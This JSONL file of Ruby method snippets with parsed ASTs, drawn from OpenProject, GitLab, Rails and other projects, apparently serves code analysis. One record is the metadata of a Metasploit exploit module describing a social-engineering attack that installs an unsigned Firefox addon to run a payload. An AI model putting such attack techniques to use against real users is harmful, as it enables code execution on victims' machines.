{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/base_contract.rb","start_line":105,"raw_source":"def add_writable(attribute, writable)\n      attribute_name = attribute.to_s.delete_suffix(\"_id\")\n      writable_conditions[attribute_name] = writable\n\n      return if writable == false\n\n      writable_attributes << attribute_name\n      # allow the _id variant as well\n      writable_attributes << \"#{attribute_name}_id\"\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_writable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"writable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attribute_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"to_s\"]},\"delete_suffix\",{\"type\":\"str\",\"children\":[\"_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable_conditions\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]},{\"type\":\"lvar\",\"children\":[\"writable\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"writable\"]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable_attributes\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable_attributes\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]},{\"type\":\"str\",\"children\":[\"_id\"]}]}]}]}]}","id":"cfba7e0b-3f53-41d1-949e-c7579adea380"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/querying.rb","start_line":38,"raw_source":"def filter_nodes_at_beginning?(reference_options)\n      reference_options && reference_options[:location] == :beginning\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_nodes_at_beginning?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reference_options\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reference_options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reference_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"location\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"beginning\"]}]}]}]}","id":"13f71d13-ccc3-4284-83e7-3a951f71a546"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/plugins/plugin_manager.rb","start_line":80,"raw_source":"def add_dependency(plugin_name)\n      UI.user_error!(\"fastlane is not setup for this project, make sure you have a fastlane folder\") unless pluginfile_path\n      plugin_name = self.class.plugin_prefix + plugin_name unless plugin_name.start_with?(self.class.plugin_prefix)\n\n      if plugin_name.gsub(self.class.plugin_prefix, '').include?(\"-\")\n        # e.g. \"fastlane-plugin-ya_tu-sabes\" (which is invalid)\n        UI.user_error!(\"Plugin name must not contain a '-', did you mean '_'?\")\n      end\n\n      unless plugin_is_added_as_dependency?(plugin_name)\n        content = pluginfile_content || AUTOGENERATED_LINE\n\n        unless content.end_with?(\"\\n\")\n          content += \"\\n\"\n        end\n\n        line_to_add = \"gem '#{plugin_name}'\"\n        line_to_add += gem_dependency_suffix(plugin_name)\n        UI.verbose(\"Adding line: #{line_to_add}\")\n\n        content += \"#{line_to_add}\\n\"\n        File.write(pluginfile_path, content)\n        UI.success(\"Plugin '#{plugin_name}' was added to '#{pluginfile_path}'\")\n      end\n\n      # We do this *after* creating the Plugin file\n      # Since `bundle exec` would be broken if something fails on the way\n      ensure_plugins_attached!\n\n      true\n    end","complexity_score":45.5,"ast_json":"{\"type\":\"def\",\"children\":[\"add_dependency\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plugin_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pluginfile_path\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"fastlane is not setup for this project, make sure you have a fastlane folder\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_name\"]},\"start_with?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"plugin_prefix\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"plugin_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"plugin_prefix\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"plugin_name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_name\"]},\"gsub\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"plugin_prefix\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Plugin name must not contain a '-', did you mean '_'?\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_is_added_as_dependency?\",{\"type\":\"lvar\",\"children\":[\"plugin_name\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pluginfile_content\"]},{\"type\":\"const\",\"children\":[null,\"AUTOGENERATED_LINE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},null,{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"line_to_add\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"gem '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line_to_add\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"gem_dependency_suffix\",{\"type\":\"lvar\",\"children\":[\"plugin_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Adding line: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_to_add\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_to_add\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"send\",\"children\":[null,\"pluginfile_path\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Plugin '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_name\"]}]},{\"type\":\"str\",\"children\":[\"' was added to '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pluginfile_path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"ensure_plugins_attached!\"]},{\"type\":\"true\",\"children\":[]}]}]}","id":"5819eb36-f9a3-49f6-a8a0-d80662635c3c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/milestones/transfer_service.rb","start_line":55,"raw_source":"def group_milestones_applied_to_merge_requests\n      Milestone.joins(:merge_requests)\n        .where(\n          merge_requests: { target_project_id: project.id },\n          group_id: old_group.self_and_ancestors\n        )\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"group_milestones_applied_to_merge_requests\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Milestone\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"merge_requests\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_requests\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"old_group\"]},\"self_and_ancestors\"]}]}]}]}]}","id":"53404def-212c-4b3f-b243-2825fe1c4e98"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/budgets/app/models/queries/work_packages/filter/budget_filter.rb","start_line":36,"raw_source":"def available?\n      project&.module_enabled?(:budgets)\n    end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"module_enabled?\",{\"type\":\"sym\",\"children\":[\"budgets\"]}]}]}","id":"052e3955-cb34-4067-a539-75a5fbb90c39"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250829063051_sync_bigint_indexes_creation_on_merge_requests_stage_one.rb","start_line":69,"raw_source":"def skip_migration?\n    unless conversion_columns_exist?\n      say \"No conversion columns found - migration skipped\"\n      return true\n    end\n\n    false\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_migration?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversion_columns_exist?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"No conversion columns found - migration skipped\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"79d965dc-6df1-4ce7-9f10-32fbeb37a896"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/target_finder.rb","start_line":60,"raw_source":"def find_files(base_dir, flags)\n      # get all wanted directories first to improve speed of finding all files\n      exclude_pattern = combined_exclude_glob_patterns(base_dir)\n      dir_flags = flags | File::FNM_PATHNAME | File::FNM_EXTGLOB\n      patterns = wanted_dir_patterns(base_dir, exclude_pattern, dir_flags)\n      patterns.map! { |dir| File.join(dir, '*') }\n      # We need this special case to avoid creating the pattern\n      # /**/* which searches the entire file system.\n      patterns = [File.join(base_dir, '**/*')] if patterns.empty?\n\n      Dir.glob(patterns, flags).select { |path| FileTest.file?(path) }\n    end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_dir\"]},{\"type\":\"arg\",\"children\":[\"flags\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exclude_pattern\",{\"type\":\"send\",\"children\":[null,\"combined_exclude_glob_patterns\",{\"type\":\"lvar\",\"children\":[\"base_dir\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dir_flags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flags\"]},\"|\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"FNM_PATHNAME\"]}]},\"|\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"FNM_EXTGLOB\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"patterns\",{\"type\":\"send\",\"children\":[null,\"wanted_dir_patterns\",{\"type\":\"lvar\",\"children\":[\"base_dir\"]},{\"type\":\"lvar\",\"children\":[\"exclude_pattern\"]},{\"type\":\"lvar\",\"children\":[\"dir_flags\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patterns\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"dir\"]},{\"type\":\"str\",\"children\":[\"*\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patterns\"]},\"empty?\"]},{\"type\":\"lvasgn\",\"children\":[\"patterns\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"base_dir\"]},{\"type\":\"str\",\"children\":[\"**/*\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"lvar\",\"children\":[\"patterns\"]},{\"type\":\"lvar\",\"children\":[\"flags\"]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileTest\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}","id":"e9c1ed10-54f0-4193-9477-8119ea3755fe"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/structured_event_subscriber.rb","start_line":43,"raw_source":"def halted_callback(event)\n      emit_event(\"action_controller.callback_halted\", filter: event.payload[:filter])\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"halted_callback\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[null,\"emit_event\",{\"type\":\"str\",\"children\":[\"action_controller.callback_halted\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter\"]}]}]}]}]}]}","id":"63405a1d-1c08-4efd-93f2-704b9e8adb8e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/rebuild_provision_request.rb","start_line":128,"raw_source":"def process_dialog_tab(tab, dialog_tab)\n    unless @quiet\n      @log += \"Processing tab: #{tab}\\n\"\n      @log += \"\\n\" if tab == 'customize'\n    end\n    tab_name = respond_to?(tab, true) ? tab : :general_tab\n    send(tab_name, tab, dialog_tab)\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process_dialog_tab\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tab\"]},{\"type\":\"arg\",\"children\":[\"dialog_tab\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@quiet\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@log\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Processing tab: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tab\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tab\"]},\"==\",{\"type\":\"str\",\"children\":[\"customize\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@log\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tab_name\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"tab\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"tab\"]},{\"type\":\"sym\",\"children\":[\"general_tab\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"tab_name\"]},{\"type\":\"lvar\",\"children\":[\"tab\"]},{\"type\":\"lvar\",\"children\":[\"dialog_tab\"]}]}]}]}","id":"1972baba-89bf-4965-978b-f18bbee13f01"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/actions.rb","start_line":302,"raw_source":"def rakefile(filename, data = nil)\n        log :rakefile, filename\n        data ||= yield if block_given?\n        create_file(\"lib/tasks/#{filename}\", optimize_indentation(data), verbose: false)\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"rakefile\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"optarg\",\"children\":[\"data\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"sym\",\"children\":[\"rakefile\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\"]},{\"type\":\"yield\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"create_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"lib/tasks/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"send\",\"children\":[null,\"optimize_indentation\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verbose\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"e55bfaf1-c62e-44c6-b46e-0820efd27cbb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution',\n        'Description' => %q{\n          Mozilla Firefox before version 41 allowed users to install\n          unsigned browser extensions from arbitrary web servers.\n\n          This module dynamically creates an unsigned .xpi addon file.\n          The resulting bootstrapped Firefox addon is presented to\n          the victim via a web page. The victim's Firefox browser\n          will pop a dialog asking if they trust the addon.\n\n          Once the user clicks \"install\", the addon is installed and\n          executes the payload with full user permissions. As of Firefox\n          4, this will work without a restart as the addon is marked to\n          be \"bootstrapped\". As the addon will execute the payload after\n          each Firefox restart, an option can be given to automatically\n          uninstall the addon once the payload has been executed.\n\n          As of Firefox 41, unsigned extensions can still be installed\n          on Firefox Nightly, Unbranded and Development builds when\n          configured with `xpinstall.signatures.required` set to `false`.\n\n          Note: this module generates legacy extensions which are\n          supported only in Firefox before version 57.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'mihi', 'joev' ],\n        'DisclosureDate' => '2007-06-27',\n        'References' => [\n          [ 'URL', 'https://blog.mozilla.org/addons/2015/02/10/extension-signing-safer-experience/' ],\n          [ 'URL', 'https://blog.mozilla.org/addons/2015/04/15/the-case-for-extension-signing/' ],\n          [ 'URL', 'https://support.mozilla.org/en-US/kb/frequently-asked-questions-firefox-addon' ],\n          [ 'URL', 'https://web.archive.org/web/20170727035940/https://developer.mozilla.org/en-US/Add-ons/Bootstrapped_extensions' ],\n          [ 'URL', 'https://web.archive.org/web/20160322014439/https://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]\n        ],\n        'Notes' => {\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, SCREEN_EFFECTS],\n          'Stability' => [CRASH_SAFE]\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Mozilla Firefox before version 41 allowed users to install\\n\"]},{\"type\":\"str\",\"children\":[\"          unsigned browser extensions from arbitrary web servers.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module dynamically creates an unsigned .xpi addon file.\\n\"]},{\"type\":\"str\",\"children\":[\"          The resulting bootstrapped Firefox addon is presented to\\n\"]},{\"type\":\"str\",\"children\":[\"          the victim via a web page. The victim's Firefox browser\\n\"]},{\"type\":\"str\",\"children\":[\"          will pop a dialog asking if they trust the addon.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Once the user clicks \\\"install\\\", the addon is installed and\\n\"]},{\"type\":\"str\",\"children\":[\"          executes the payload with full user permissions. As of Firefox\\n\"]},{\"type\":\"str\",\"children\":[\"          4, this will work without a restart as the addon is marked to\\n\"]},{\"type\":\"str\",\"children\":[\"          be \\\"bootstrapped\\\". As the addon will execute the payload after\\n\"]},{\"type\":\"str\",\"children\":[\"          each Firefox restart, an option can be given to automatically\\n\"]},{\"type\":\"str\",\"children\":[\"          uninstall the addon once the payload has been executed.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          As of Firefox 41, unsigned extensions can still be installed\\n\"]},{\"type\":\"str\",\"children\":[\"          on Firefox Nightly, Unbranded and Development builds when\\n\"]},{\"type\":\"str\",\"children\":[\"          configured with `xpinstall.signatures.required` set to `false`.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Note: this module generates legacy extensions which are\\n\"]},{\"type\":\"str\",\"children\":[\"          supported only in Firefox before version 57.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"mihi\"]},{\"type\":\"str\",\"children\":[\"joev\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2007-06-27\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blog.mozilla.org/addons/2015/02/10/extension-signing-safer-experience/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blog.mozilla.org/addons/2015/04/15/the-case-for-extension-signing/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://support.mozilla.org/en-US/kb/frequently-asked-questions-firefox-addon\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://web.archive.org/web/20170727035940/https://developer.mozilla.org/en-US/Add-ons/Bootstrapped_extensions\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://web.archive.org/web/20160322014439/https://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"SCREEN_EFFECTS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]}]}]}]}]}]}]}","id":"60eebd7a-0b92-49cd-b2e6-12ce3ff7b699"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/decorators/linked_resource.rb","start_line":205,"raw_source":"def associated_resource_default_link(name,\n                                             v3_path:,\n                                             skip_link:,\n                                             title_attribute:,\n                                             getter: :\"#{name}_id\",\n                                             undisclosed: false)\n          ->(*) do\n            if undisclosed && instance_exec(&skip_link)\n              {\n                href: API::V3::URN_UNDISCLOSED,\n                title: I18n.t(:\"api_v3.undisclosed.#{name}\")\n              }\n            elsif !instance_exec(&skip_link)\n              ::API::Decorators::LinkObject\n                .new(represented,\n                     path: v3_path,\n                     property_name: name,\n                     title_attribute:,\n                     getter:)\n                .to_hash\n            end\n          end\n        end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"associated_resource_default_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"v3_path\"]},{\"type\":\"kwarg\",\"children\":[\"skip_link\"]},{\"type\":\"kwarg\",\"children\":[\"title_attribute\"]},{\"type\":\"kwoptarg\",\"children\":[\"getter\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"_id\"]}]}]},{\"type\":\"kwoptarg\",\"children\":[\"undisclosed\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"undisclosed\"]},{\"type\":\"send\",\"children\":[null,\"instance_exec\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_link\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"V3\"]},\"URN_UNDISCLOSED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"api_v3.undisclosed.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_exec\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_link\"]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"API\"]},\"Decorators\"]},\"LinkObject\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"